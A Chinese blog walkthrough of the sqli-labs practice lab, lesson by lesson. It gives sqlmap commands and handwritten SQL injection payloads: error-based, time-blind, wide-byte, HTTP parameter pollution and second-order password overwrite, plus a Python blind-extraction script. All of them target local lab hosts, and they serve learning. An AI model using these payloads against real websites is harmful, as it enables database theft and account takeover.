sqlmap使用_sqlmap于sql labs下使用
本文主要是寫sqlmap在sql labs下的使用學習記錄,目的在于模擬黑盒測試,不太在意原理。(當然,原理還是要學習好才這么干的。)
不得不說收獲還是蠻大的。首先推薦下sqlmap使用的學習視頻。
1-9:
python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --batch10:單獨的sleep(5)不起效果,
[http://127.0.0.1/sqlilabs/Less-10/?id=1%22and%20If(ascii(substr(database(),1,1))=114,1,sleep(5))--](http://127.0.0.1/sqlilabs/Less-10/?id=1"and If(ascii(substr(database(),1,1))=114,1,sleep(5))--)+python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-10/?id=1 --batch --level 311-17:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-16/ --data="uname=123&passwd=123&submit=Submit" --batch --dbs18-22:賬號:Dumb,密碼:Dumb。sqlmap使用-r讀取請求包,在需要探測的地方加*,可以檢測出來漏洞點。
18:User Agent
python sqlmap.py -r ./target.txt --batch --level 519:Referer
20:cookie處
21:cookie(需要將注入語句base64加密,源代碼處有base64解密)
python sqlmap.py -r ./target.txt --batch --level 5 --tamper="base64encode.py"22:cookie(21注入語句前綴后綴的單引號換成雙引號)
python sqlmap.py -r ./target.txt --batch --level 5 --tamper="base64encode.py"python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-18/ -p “User-Agent” --batch --dbs --level 5 --thread 10 --technique E (此語句無效)
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='123:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-23/index.php?id=124:一個二次注入,且漏洞功能為修改原賬戶密碼。無法用sqlmap自動檢測。
注冊個賬戶admin’#,然后登入admin’#,然后修改密碼,然后原來admin的密碼就會被修改覆蓋
因為**修改密碼(功能)**處形成的 sql 語句是
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx25:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-25/index.php?id=1 --batch26-26a-27:
提示說空格和注釋
在 Windows 下會有無法用特殊字符代替空格的問題,這是 Apache 解析的問題,所以這里需要使用linux來進行搭建
window下可以使用加號(+,%2b)來代替空格,不過union兩邊有加號會報錯,因此只能選擇布爾盲注或者時間盲注。
//26-27 import requests url="http://192.168.2.82/sqlilabs/Less-26/?id=1'%26%26(ascii(substr(database(),{},1))={})||'1'='" result="" for i in range(1,10):for j in range(33,127):payload = url.format(i,j)r = requests.get(payload)r.encoding=r.apparent_encodingif "Dumb" in r.text:result += chr(j)print (result)break //26a url="http://192.168.2.82/sqlilabs/Less-26/?id=1')%26%26(ascii(substr(database(),{},1))={})||('1'='"//27a url="http://192.168.2.82/sqlilabs/Less-27a/?id=1"%26%26(ascii(substr(database(),{},1))={})||"1"=""//28-28a url="http://192.168.2.82/sqlilabs/Less-28/?id=1')%26%26(ascii(substr(database(),{},1))={})||('1'='"29:
這題就有點意思了,HTTP參數污染。
服務器端有兩個部分:第一部分為 tomcat 為引擎的 jsp 型服務器,第二部分為 apache 為引擎的 php 服務器,真正提供 web 服務的是 php 服務器。在我們實際應用中,也是有兩層服務器的情況,那為什么要這么做?是因為我們往往在 tomcat 服務器處做數據過濾和處理,功能類似為一個 waf,由于解析參數機制的不同,我們此處可以利用該原理繞過 WAF 的檢測;數據解析順序:tomcat從前往后,apache從后往前
(雙同參數)
http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,database(),3--+http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3--+30:29的單引號改為雙引號
31:29的單引號改為")
32-33:
寬字節注入,利用mysql使用GBK編碼,將兩個字符看成一個漢字的特性,消除轉移符號“、”,使單引號逃逸出來。這是每次黑盒測試都需要檢測的一個點。
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-32/?id=1 --thread 10 --tamper="unmagicquotes.py" --batch34:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-34/ --data="uname=123&passwd=123&submit=Submit" --thread 10 --tamper="unmagicquotes.py" --batch35:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-35/?id=1 --batch36:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-36/?id=1 --thread 10 --tamper="unmagicquotes.py" --batch37:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-37/ --data="uname=123&passwd=123&submit=Submit" --thread 10 --tamper="unmagicquotes.py" --batch38-41:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-38/?id=1 --batch42-45:
(43同理,前綴變了)
這種東西,除非白盒測試,能夠看到源碼,否則想不出這數據庫名以及字段數。
login_user=test&login_password=1’;insert+into+users+values(44,‘Less32’,‘Less42’)–+&mysubmit=Login
login_user=test&login_password=1’+or+sysdate()-now()=0+and+sleep(1)=1–+&mysubmit=Login(我真是個小天才)我好像懂了sqlmap為什么會連接失敗了,超時了。
好吧,sqlmap能夠測出來,由于容易超時,因此容易在其中一步的詢問中問你要不要繼續(默認停止),此時你要手動點繼續。因此不能夠使用–batch參數。–time-sec=1
python sqlmap.py -r target.txt --flush-session --fresh-queries --time-sec=146-53:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-46/?sort=1 --batch總結
以上步驟都不行的話,自行使用腳本進行測試。判斷雙寫等waf攔截。或者雙同參數的HTTP參數污染。
小腳本:
心疼我相麻
總結
以上是生活随笔為你收集整理的sqlmap使用_sqlmap于sql labs下使用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: shiro ajax权限拦截器,Shir
- 下一篇: 两千块钱带来的 希望